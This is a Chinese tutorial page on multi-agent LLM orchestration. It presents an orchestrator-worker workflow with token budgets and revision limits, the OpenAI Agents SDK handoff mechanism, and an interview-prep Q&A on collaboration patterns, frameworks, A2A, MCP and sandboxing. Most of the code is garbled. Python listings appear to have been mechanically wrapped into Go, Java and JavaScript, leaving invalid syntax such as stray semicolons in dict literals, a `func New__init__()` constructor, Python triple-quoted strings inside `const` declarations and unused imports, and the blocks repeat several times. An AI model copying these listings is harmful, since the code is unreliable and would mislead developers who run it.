// research_result = self._handle_result(results[0], "research")
// analysis_result = self._handle_result(results[1], "analysis")
// Step 4: 检查预算
if (self.total_tokens > self.budget_limit) {
// self._log("orchestrator", "budget_exceeded",
// f"已用 {self.total_tokens} tokens")
return {"status": "budget_exceeded",;
// "partial_results": [research_result, analysis_result]}
// Step 5: 合并后调用写作 Agent
// merged_input = self._merge_results(research_result, analysis_result)
// writer_result = await self._call_agent("writer_agent", merged_input)
// Step 6: 审核 Agent 检查质量
// review_result = await self._call_agent("review_agent", {
// "draft": writer_result.content,
// "criteria": "完整性、准确性、可读性"
// })
if (review_result.content.get("approved")) {
return {"status": "completed",;
// "report": writer_result.content,
// "trace": self.trace_log}
} else {
// 审核未通过 → 修改后重新提交写作（限制修改次数，防止无限递归）
// self._log("review_agent", "revision_needed",
// review_result.content.get("issues"))
if (max_revisions > 0) {
return await self.run_workflow(user_request, max_revisions - 1);
} else {
return {"status": "completed_with_issues",;
// "report": writer_result.content,
// "trace": self.trace_log,
// "note": "达到最大修改次数，返回当前版本"}
// def _split_task(self, request: str) -> dict:
/** docstring */
return {;
// "research": f"搜索以下主题的最新资料: {request}",
// "analysis": f"对已有数据进行统计分析: {request}"
// }
// def _handle_result(self, result, agent_name: str) -> AgentResult:
/** docstring */
if (isinstance(result, Exception)) {
// self._log(agent_name, "failed", str(result))
return AgentResult(agent_name, "degraded",;
// {"note": "降级处理，使用缓存数据"}, 0, 0)
// self.total_tokens += result.tokens_used
return result;
_log(agent: string, event: string, detail: string) {
/** docstring */
// self.trace_log.append({
// "agent": agent, "event": event,
// "detail": detail, "timestamp": "2025-07-01T..."
// })
}
package main
import (
"fmt"
"os"
"os/exec"
"strings"
)
// 生产级多 Agent 工作流编排
// import asyncio
// from dataclasses import dataclass
// from typing import Optional
// AgentResult - CLI Agent class
type AgentResult struct {
// Python: agent_name: str
// Python: status: str # completed / failed / degraded
// Python: content: dict
// Python: tokens_used: int
// Python: execution_time_ms: int
// ProductionOrchestrator - CLI Agent class
type ProductionOrchestrator struct {
func New__init__() *__init__ {
return &__init__{}
}
// Python: self.budget_limit = budget_limit_tokens
// Python: self.total_tokens = 0
// Python: self.trace_log = []
// Python: async def run_workflow(self, user_request: str, max_revisions: int = 2) -> dict:
// Step 1: 编排者拆分任务
// Python: self._log("orchestrator", "task_split", user_request)
// Python: subtasks = self._split_task(user_request)
// Step 2: 并行执行调研和分析
// Python: results = await asyncio.gather(
// Python: self._call_agent("research_agent", subtasks["research"]),
// Python: self._call_agent("analysis_agent", subtasks["analysis"]),
// Python: return_exceptions=True # 容错：不因一个失败而中断
// Python: )
// Step 3: 处理结果（容错降级）
// Python: research_result = self._handle_result(results[0], "research")
// Python: analysis_result = self._handle_result(results[1], "analysis")
// Step 4: 检查预算
if self.total_tokens > self.budget_limit {
// Python: self._log("orchestrator", "budget_exceeded",
// Python: f"已用 {self.total_tokens} tokens")
return {"status": "budget_exceeded",
// Python: "partial_results": [research_result, analysis_result]}
// Step 5: 合并后调用写作 Agent
// Python: merged_input = self._merge_results(research_result, analysis_result)
// Python: writer_result = await self._call_agent("writer_agent", merged_input)
// Step 6: 审核 Agent 检查质量
// Python: review_result = await self._call_agent("review_agent", {
// Python: "draft": writer_result.content,
// Python: "criteria": "完整性、准确性、可读性"
// Python: })
if review_result.content.get("approved") {
return {"status": "completed",
// Python: "report": writer_result.content,
// Python: "trace": self.trace_log}
} else {
// 审核未通过 → 修改后重新提交写作（限制修改次数，防止无限递归）
// Python: self._log("review_agent", "revision_needed",
// Python: review_result.content.get("issues"))
if max_revisions > 0 {
return await self.run_workflow(user_request, max_revisions - 1)
} else {
return {"status": "completed_with_issues",
// Python: "report": writer_result.content,
// Python: "trace": self.trace_log,
// Python: "note": "达到最大修改次数，返回当前版本"}
// Python: def _split_task(self, request: str) -> dict:
return {
// Python: "research": f"搜索以下主题的最新资料: {request}",
// Python: "analysis": f"对已有数据进行统计分析: {request}"
// Python: }
// Python: def _handle_result(self, result, agent_name: str) -> AgentResult:
if isinstance(result, Exception) {
// Python: self._log(agent_name, "failed", str(result))
return AgentResult(agent_name, "degraded",
// Python: {"note": "降级处理，使用缓存数据"}, 0, 0)
// Python: self.total_tokens += result.tokens_used
return result
func _log() {
// Python: self.trace_log.append({
// Python: "agent": agent, "event": event,
// Python: "detail": detail, "timestamp": "2025-07-01T..."
// Python: })
}
import java.util.*;
import java.util.concurrent.*;
import java.util.regex.*;
import java.io.*;
// 生产级多 Agent 工作流编排
// import asyncio
// from dataclasses import dataclass
// from typing import Optional
public class AgentResult {
// Python: agent_name: str
// Python: status: str # completed / failed / degraded
// Python: content: dict
// Python: tokens_used: int
// Python: execution_time_ms: int
public class ProductionOrchestrator {
public ProductionOrchestrator(budget_limit_tokens=10000) {
// Python: self.budget_limit = budget_limit_tokens
// Python: self.total_tokens = 0
// Python: self.trace_log = []
// Python: async def run_workflow(self, user_request: str, max_revisions: int = 2) -> dict:
// Step 1: 编排者拆分任务
// Python: self._log("orchestrator", "task_split", user_request)
// Python: subtasks = self._split_task(user_request)
// Step 2: 并行执行调研和分析
// Python: results = await asyncio.gather(
// Python: self._call_agent("research_agent", subtasks["research"]),
// Python: self._call_agent("analysis_agent", subtasks["analysis"]),
// Python: return_exceptions=True # 容错：不因一个失败而中断
// Python: )
// Step 3: 处理结果（容错降级）
// Python: research_result = self._handle_result(results[0], "research")
// Python: analysis_result = self._handle_result(results[1], "analysis")
// Step 4: 检查预算
if (self.total_tokens > self.budget_limit) {
// Python: self._log("orchestrator", "budget_exceeded",
// Python: f"已用 {self.total_tokens} tokens")
return {"status": "budget_exceeded",;
// Python: "partial_results": [research_result, analysis_result]}
// Step 5: 合并后调用写作 Agent
// Python: merged_input = self._merge_results(research_result, analysis_result)
// Python: writer_result = await self._call_agent("writer_agent", merged_input)
// Step 6: 审核 Agent 检查质量
// Python: review_result = await self._call_agent("review_agent", {
// Python: "draft": writer_result.content,
// Python: "criteria": "完整性、准确性、可读性"
// Python: })
if (review_result.content.get("approved")) {
return {"status": "completed",;
// Python: "report": writer_result.content,
// Python: "trace": self.trace_log}
} else {
// 审核未通过 → 修改后重新提交写作（限制修改次数，防止无限递归）
// Python: self._log("review_agent", "revision_needed",
// Python: review_result.content.get("issues"))
if (max_revisions > 0) {
return await self.run_workflow(user_request, max_revisions - 1);
} else {
return {"status": "completed_with_issues",;
// Python: "report": writer_result.content,
// Python: "trace": self.trace_log,
// Python: "note": "达到最大修改次数，返回当前版本"}
// Python: def _split_task(self, request: str) -> dict:
return {;
// Python: "research": f"搜索以下主题的最新资料: {request}",
// Python: "analysis": f"对已有数据进行统计分析: {request}"
// Python: }
// Python: def _handle_result(self, result, agent_name: str) -> AgentResult:
if (isinstance(result, Exception)) {
// Python: self._log(agent_name, "failed", str(result))
return AgentResult(agent_name, "degraded",;
// Python: {"note": "降级处理，使用缓存数据"}, 0, 0)
// Python: self.total_tokens += result.tokens_used
return result;
public static void _log(agentString, eventString, detailString) {
// Python: self.trace_log.append({
// Python: "agent": agent, "event": event,
// Python: "detail": detail, "timestamp": "2025-07-01T..."
// Python: })
}
}
14.9 Handoffs机制详解
**Handoffs（任务移交）**是 OpenAI Agents SDK 中引入的核心机制，用于实现 Agent 之间的任务转移。它与编排者-执行者模式密切相关，但更轻量、更灵活。
Handoffs 就像接力赛中的交接棒——一个 Agent 完成了自己的部分，把"棒"（任务上下文）交给下一个 Agent 继续跑。
什么是 Handoffs？
在 Handoffs 机制中，每个 Agent 定义了自己可以移交的 Agent 列表。当一个 Agent 在处理任务时，判断当前任务更适合另一个 Agent 处理，它就会调用 transfer_to_xxx 工具，把任务连同上下文一起移交给目标 Agent。
Handoffs 流程
- Agent A 处理任务，判断需要移交
- Agent A 调用 transfer_to_B 工具
- 任务上下文（对话历史+状态）传给 Agent B
- Agent B 从 Agent A 的结果继续处理
- Agent B 完成后直接返回用户
与编排者-执行者的区别
- 编排者模式：中央控制，所有分配由编排者决定
- Handoffs：去中心化，Agent 自己判断何时移交
- 编排者更像"项目经理"，Handoffs更像"接力赛"
- Handoffs 更灵活但可控性略弱
- 两者可以结合：编排者做初始分配，Agent内用Handoffs
Handoffs 流程图
Handoffs 代码示例
# OpenAI Agents SDK — Handoffs 机制
from agents import Agent, Runner
# 定义三个 Agent，各自声明可移交的目标
triage_agent = Agent(
name="分流Agent",
instructions="""你是用户请求的分流员。
根据用户请求判断最适合处理的 Agent：
- 贡献分析请求 → transfer_to_finance_agent
- 市场趋势请求 → transfer_to_market_agent
- 综合请求 → transfer_to_summary_agent
""",
handoffs=[finance_agent, market_agent] # 可移交的Agent列表
)
finance_agent = Agent(
name="财务分析Agent",
instructions="""你是专业的财务分析师。
分析财报数据、计算关键指标、评估财务健康状况。
完成分析后，将结果移交给总结Agent生成报告。
""",
handoffs=[summary_agent] # 完成后移交总结Agent
)
market_agent = Agent(
name="市场分析Agent",
instructions="""你是专业的市场分析师。
分析市场趋势、竞争格局、行业动态。
完成分析后，将结果移交给总结Agent生成报告。
""",
handoffs=[summary_agent] # 完成后移交总结Agent
)
summary_agent = Agent(
name="总结Agent",
instructions="""你是报告总结专家。
整合其他Agent的分析结果，生成一份完整的分析报告。
""",
handoffs=[] # 终点Agent，不再移交
)
# 运行多Agent协作
result = await Runner.run(
starting_agent=triage_agent, # 从分流Agent开始
messages=[{"role": "user",
"content": "帮我分析苹果公司2025年Q1财报"}]
)
# Runner 自动处理 Handoffs：
# triage → finance → summary → 返回结果
print(result.final_output)
// OpenAI Agents SDK — Handoffs 机制
import {Agent, Runner} from 'agents';
// 定义三个 Agent，各自声明可移交的目标
const triage_agent = Agent(;
const name = "分流Agent",;
const instructions = """你是用户请求的分流员。;
// 根据用户请求判断最适合处理的 Agent：
// - 贡献分析请求 → transfer_to_finance_agent
// - 市场趋势请求 → transfer_to_market_agent
// - 综合请求 → transfer_to_summary_agent
/** docstring */
const handoffs = [finance_agent, market_agent] # 可移交的Agent列表;
// )
const finance_agent = Agent(;
const name = "财务分析Agent",;
const instructions = """你是专业的财务分析师。;
// 分析财报数据、计算关键指标、评估财务健康状况。
// 完成分析后，将结果移交给总结Agent生成报告。
/** docstring */
const handoffs = [summary_agent] # 完成后移交总结Agent;
// )
const market_agent = Agent(;
const name = "市场分析Agent",;
const instructions = """你是专业的市场分析师。;
// 分析市场趋势、竞争格局、行业动态。
// 完成分析后，将结果移交给总结Agent生成报告。
/** docstring */
const handoffs = [summary_agent] # 完成后移交总结Agent;
// )
const summary_agent = Agent(;
const name = "总结Agent",;
const instructions = """你是报告总结专家。;
// 整合其他Agent的分析结果，生成一份完整的分析报告。
/** docstring */
const handoffs = [] # 终点Agent，不再移交;
// )
// 运行多Agent协作
const result = await Runner.run(;
const starting_agent = triage_agent, # 从分流Agent开始;
const messages = [{"role": "user",;
// "content": "帮我分析苹果公司2025年Q1财报"}]
// )
// Runner 自动处理 Handoffs：
// triage → finance → summary → 返回结果
console.log(result.final_output);
package main
import (
"fmt"
"os"
"os/exec"
"strings"
)
// OpenAI Agents SDK — Handoffs 机制
// from agents import Agent, Runner
// 定义三个 Agent，各自声明可移交的目标
// Python: triage_agent = Agent(
// Python: name="分流Agent",
// Python: instructions="""你是用户请求的分流员。
// Python: 根据用户请求判断最适合处理的 Agent：
// Python: - 贡献分析请求 → transfer_to_finance_agent
// Python: - 市场趋势请求 → transfer_to_market_agent
// Python: - 综合请求 → transfer_to_summary_agent
// Python: handoffs=[finance_agent, market_agent] # 可移交的Agent列表
// Python: )
// Python: finance_agent = Agent(
// Python: name="财务分析Agent",
// Python: instructions="""你是专业的财务分析师。
// Python: 分析财报数据、计算关键指标、评估财务健康状况。
// Python: 完成分析后，将结果移交给总结Agent生成报告。
// Python: handoffs=[summary_agent] # 完成后移交总结Agent
// Python: )
// Python: market_agent = Agent(
// Python: name="市场分析Agent",
// Python: instructions="""你是专业的市场分析师。
// Python: 分析市场趋势、竞争格局、行业动态。
// Python: 完成分析后，将结果移交给总结Agent生成报告。
// Python: handoffs=[summary_agent] # 完成后移交总结Agent
// Python: )
// Python: summary_agent = Agent(
// Python: name="总结Agent",
// Python: instructions="""你是报告总结专家。
// Python: 整合其他Agent的分析结果，生成一份完整的分析报告。
// Python: handoffs=[] # 终点Agent，不再移交
// Python: )
// 运行多Agent协作
// Python: result = await Runner.run(
// Python: starting_agent=triage_agent, # 从分流Agent开始
// Python: messages=[{"role": "user",
// Python: "content": "帮我分析苹果公司2025年Q1财报"}]
// Python: )
// Runner 自动处理 Handoffs：
// triage → finance → summary → 返回结果
fmt.Println(result.final_output)
import java.util.*;
import java.util.concurrent.*;
import java.util.regex.*;
import java.io.*;
// OpenAI Agents SDK — Handoffs 机制
// from agents import Agent, Runner
// 定义三个 Agent，各自声明可移交的目标
// Python: triage_agent = Agent(
// Python: name="分流Agent",
// Python: instructions="""你是用户请求的分流员。
// Python: 根据用户请求判断最适合处理的 Agent：
// Python: - 贡献分析请求 → transfer_to_finance_agent
// Python: - 市场趋势请求 → transfer_to_market_agent
// Python: - 综合请求 → transfer_to_summary_agent
// Python: handoffs=[finance_agent, market_agent] # 可移交的Agent列表
// Python: )
// Python: finance_agent = Agent(
// Python: name="财务分析Agent",
// Python: instructions="""你是专业的财务分析师。
// Python: 分析财报数据、计算关键指标、评估财务健康状况。
// Python: 完成分析后，将结果移交给总结Agent生成报告。
// Python: handoffs=[summary_agent] # 完成后移交总结Agent
// Python: )
// Python: market_agent = Agent(
// Python: name="市场分析Agent",
// Python: instructions="""你是专业的市场分析师。
// Python: 分析市场趋势、竞争格局、行业动态。
// Python: 完成分析后，将结果移交给总结Agent生成报告。
// Python: handoffs=[summary_agent] # 完成后移交总结Agent
// Python: )
// Python: summary_agent = Agent(
// Python: name="总结Agent",
// Python: instructions="""你是报告总结专家。
// Python: 整合其他Agent的分析结果，生成一份完整的分析报告。
// Python: handoffs=[] # 终点Agent，不再移交
// Python: )
// 运行多Agent协作
// Python: result = await Runner.run(
// Python: starting_agent=triage_agent, # 从分流Agent开始
// Python: messages=[{"role": "user",
// Python: "content": "帮我分析苹果公司2025年Q1财报"}]
// Python: )
// Runner 自动处理 Handoffs：
// triage → finance → summary → 返回结果
System.out.println(result.final_output);
}
Handoffs 关键设计点：
① 每个 Agent 的 handoffs 列表限定了它可以移交的范围，防止无限循环移交
② 移交时，完整对话历史会传递给下一个 Agent，确保上下文连续
③ 移交是 Agent 的自主决策（通过 LLM 判断），而非硬编码规则
④ Runner 跟踪整个移交链路，可记录和回溯每一步决策 📋 八股总结 — 面试高频考点
Q1: 为什么需要多 Agent？单 Agent 有什么瓶颈？
单 Agent 瓶颈：① Prompt 膨胀（所有工具和规则塞一个 prompt）；② 角色混乱（又要搜索又要分析又要写作）；③ 错误传播（一步错步步错）；④ 上下文爆炸（token 线性增长）；⑤ 无法并行。
多 Agent 优势：职责分离、Prompt 精简、互相纠错、并行执行、可扩展。类比：单 Agent 是全栈工程师，多 Agent 是专业团队。
Q2: 多 Agent 的四种经典协作模式是什么？
① 串行流水线：搜索→分析→写作，每个 Agent 处理一个阶段，简单可靠但无法并行。
② 编排者-执行者：编排者分配任务，执行者并行完成后汇报。最常用。
③ 辩论对抗：多个 Agent 对抗辩论，裁判总结。适合多角度分析。
④ 自主协作：Agent 之间自由通信协商。最灵活但最难控制。
Q3: 编排者-执行者模式中，编排者的核心职责是什么？
四个核心职责：
① 分析任务：理解用户需求，判断需要哪些专业 Agent
② 分配任务：将子任务分配给合适的 Worker Agent
③ 整合结果：收集各 Agent 输出，整合成完整答案
④ 质量控制：检查结果完整性和正确性，必要时重新分配
Q4: Agent 之间的三种通信机制？各自代表框架？
① 消息传递：Agent 通过消息队列通信（AutoGen）。灵活但可能死锁。
② 共享黑板：共享一块"黑板"读写（CrewAI）。简单但有并发冲突。
③ 图结构：定义节点和边的 DAG（LangGraph）。可控但不够灵活。
Q5: LangGraph、AutoGen、CrewAI 各有什么特点？怎么选？
LangGraph：图结构，可控性强、可可视化调试。适合需要精确控制流程的场景。
AutoGen：消息传递，支持 Agent 自由对话。适合探索性、灵活协作的场景。
CrewAI：角色扮演，定义角色和任务。易上手，适合标准化的团队协作场景。
选择：要可控选 LangGraph，要灵活选 AutoGen，要简单选 CrewAI。
Q6: A2A协议的核心机制是什么？与MCP有什么区别？
A2A四大核心机制：
① Agent Card：能力发现，Agent发布JSON元数据文件描述自身能力
② Task生命周期：创建→运行→完成/失败/拒绝，状态实时同步
③ 消息协作：Agent间结构化消息传递，支持多轮交互
④ 安全认证：OAuth2.0身份验证和权限校验
与MCP的区别：MCP管Agent↔工具（单向调用），A2A管Agent↔Agent（双向协作）。两者互补而非竞争。
Q7: 沙箱隔离有哪些主流方案？选型依据是什么？
四大沙箱方案：
① Docker Sandbox：微虚拟机，独立内核，隔离级别最高，适合高安全代码执行
② bubblewrap：Linux namespace隔离，轻量快速，适合Linux环境
③ seatbelt：macOS系统级沙箱，精确权限控制，适合macOS环境
④ E2B/PPIO：云端微虚拟机，硬件级隔离，按使用计费
选型依据：安全要求高→Docker/E2B；轻量快速→bubblewrap/seatbelt；最小权限原则是核心。
Q8: 多Agent生产实践中有哪些关键要点？
四大工程要点：
① 通信数据格式标准化：task_id + from/to_agent + content + status + timestamp
② 错误处理与重试：指数退避重试、降级策略、级联阻断
③ 监控与可观测性：日志（结构化记录）、指标（Token/时间/成功率）、追踪（分布式链路）
④ 成本控制：按需分配、精简Prompt、结果压缩、分级模型、预算上限
Q9: Handoffs机制是什么？与编排者模式有什么关系？
Handoffs是OpenAI Agents SDK中的任务移交机制：
核心思想：Agent自主判断何时移交任务，调用transfer_to_xxx工具将任务连同上下文交给下一个Agent
与编排者模式的区别：编排者是中央控制（项目经理），Handoffs是去中心化（接力赛）
关键设计：handoffs列表限定移交范围防循环、完整对话历史确保上下文连续、移交是LLM自主决策
两者可结合：编排者做初始分配，Agent内部用Handoffs灵活流转
评论
0 条
还没有评论，先写一条吧。